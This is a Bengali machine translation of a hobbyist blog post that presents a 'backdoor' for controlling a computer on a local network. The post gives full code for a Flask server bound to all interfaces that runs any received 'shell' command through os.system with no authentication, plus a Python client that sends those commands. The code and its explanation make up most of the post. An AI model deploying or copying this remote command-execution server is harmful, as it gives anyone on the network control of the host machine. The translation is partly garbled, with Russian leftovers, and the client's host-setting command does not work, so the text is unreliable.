ফ্লাস্কে একটি ছোট ব্যাকডোর বা স্থানীয় নেটওয়ার্কে একটি কম্পিউটার কীভাবে নিয়ন্ত্রণ করা যায়

হে হাবর!

আমি সম্প্রতি "ফ্লাস্কে আপনার নিজস্ব ওয়েব অ্যাপ্লিকেশন কীভাবে তৈরি করবেন" প্রোগ্রামিং স্ট্রিমের একটি ডাউনলোড করা সংস্করণ দেখেছি। এবং আমি কিছু প্রকল্পে আমার জ্ঞান একত্রিত করার সিদ্ধান্ত নিয়েছে। দীর্ঘ সময়ের জন্য আমি কী লিখব তা জানতাম না এবং ধারণাটি আমার কাছে এসেছিল: "কেন ফ্লাস্কে একটি মিনি-ব্যাকডোর তৈরি করবেন না?"

পিছনের দরজার বাস্তবায়ন এবং ক্ষমতাগুলির জন্য প্রথম বিকল্পগুলি অবিলম্বে আমার মাথায় উপস্থিত হয়েছিল। কিন্তু আমি অবিলম্বে ব্যাকডোর ক্ষমতাগুলির একটি তালিকা তৈরি করার সিদ্ধান্ত নিয়েছি:

1. ওয়েবসাইট খুলতে জানুন
2. কমান্ড লাইন অ্যাক্সেস আছে
3. প্রোগ্রাম, ফটো, ভিডিও খুলতে সক্ষম হবেন

সুতরাং, প্রথম পয়েন্টটি ওয়েব ব্রাউজার মডিউল ব্যবহার করে বাস্তবায়ন করা অত্যন্ত সহজ। আমি ওএস মডিউল ব্যবহার করে দ্বিতীয় পয়েন্ট বাস্তবায়ন করার সিদ্ধান্ত নিয়েছি। এবং তৃতীয়টিও ওএস মডিউলের মাধ্যমে, তবে আমি "লিঙ্ক" ব্যবহার করব (পরে আরও কিছু)।

একটি সার্ভার লেখা

সুতরাং, *ড্রামরোল* সমস্ত সার্ভার কোড:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'The server is running and waiting for commands...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Site opening ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Command execution ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

আমি ইতিমধ্যে সমস্ত কোড ডাম্প করেছি, সারাংশ ব্যাখ্যা করার সময় এসেছে।

সমস্ত কোড স্থানীয় কম্পিউটারে পোর্ট 5000 এ চলে। সার্ভারের সাথে ইন্টারঅ্যাক্ট করতে, আমাদের অবশ্যই একটি JSON POST অনুরোধ পাঠাতে হবে।

JSON অনুরোধ গঠন:

{‘command’:  ‘comecommand’, ‘data’: ‘somedata’}

ওয়েল, এটা বোঝায় যে 'কমান্ড' হল সেই কমান্ড যা আমরা চালাতে চাই। এবং 'ডেটা' হল কমান্ড আর্গুমেন্ট।

আপনি সার্ভারের সাথে ম্যানুয়ালি ইন্টারঅ্যাক্ট করার জন্য JSON অনুরোধগুলি লিখতে এবং পাঠাতে পারেন (অনুরোধগুলি আপনাকে সাহায্য করবে)। অথবা আপনি একটি কনসোল ক্লায়েন্ট লিখতে পারেন।

ক্লায়েন্ট লেখা

কোড:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Written on Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Author: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Комманда не содержит аргументов!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Комманда не содержит аргументов!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

ব্যাখ্যা:

প্রথমত, অনুরোধ মডিউল আমদানি করা হয় (সার্ভারের সাথে ইন্টারঅ্যাক্ট করার জন্য)। নীচে শুরু এবং পরীক্ষা ফাংশন বর্ণনা আছে. এবং তারপর যে চক্রে যাদু ঘটে। আপনি কোড পড়েছেন? তাই চক্রে যে ম্যাজিক হয় তার মানে বুঝতেই পারছেন। কমান্ড লিখুন - এটি কার্যকর করা হয়। শেল - কমান্ড লাইনের জন্য কমান্ড (লজিকটি অফ স্কেল)।

পরীক্ষা - সার্ভার চলছে কিনা তা পরীক্ষা করুন (ব্যাকডোর)
লিঙ্ক - একটি "শর্টকাট" ব্যবহার
Openweb - একটি ওয়েবসাইট খোলা
প্রস্থান করুন - ক্লায়েন্ট থেকে প্রস্থান করুন
সেট করুন - স্থানীয় নেটওয়ার্কে আপনার কম্পিউটারের আইপি সেট করুন

এবং এখন লিঙ্ক সম্পর্কে আরো.

সার্ভারের পাশে একটি link.txt ফাইল আছে। এতে ফাইলের (ভিডিও, ফটো, প্রোগ্রাম) লিঙ্ক (সম্পূর্ণ পথ) রয়েছে।

গঠন এই মত:

полный_путь>описание
полный_путь>описание

ফলাফল

স্থানীয় নেটওয়ার্কে (একটি ওয়াই-ফাই নেটওয়ার্কের মধ্যে) কম্পিউটার নিয়ন্ত্রণ করার জন্য আমাদের একটি ব্যাকডোর সার্ভার রয়েছে। প্রযুক্তিগতভাবে, আমরা পাইথন ইন্টারপ্রেটার আছে এমন যেকোনো ডিভাইস থেকে ক্লায়েন্ট চালাতে পারি।

PS আমি সেট কমান্ড যোগ করেছি যাতে স্থানীয় নেটওয়ার্কে একটি কম্পিউটারকে একটি ভিন্ন IP বরাদ্দ করা হয়, এটি সরাসরি ক্লায়েন্টে পরিবর্তন করা যেতে পারে।

উত্স: www.habr.com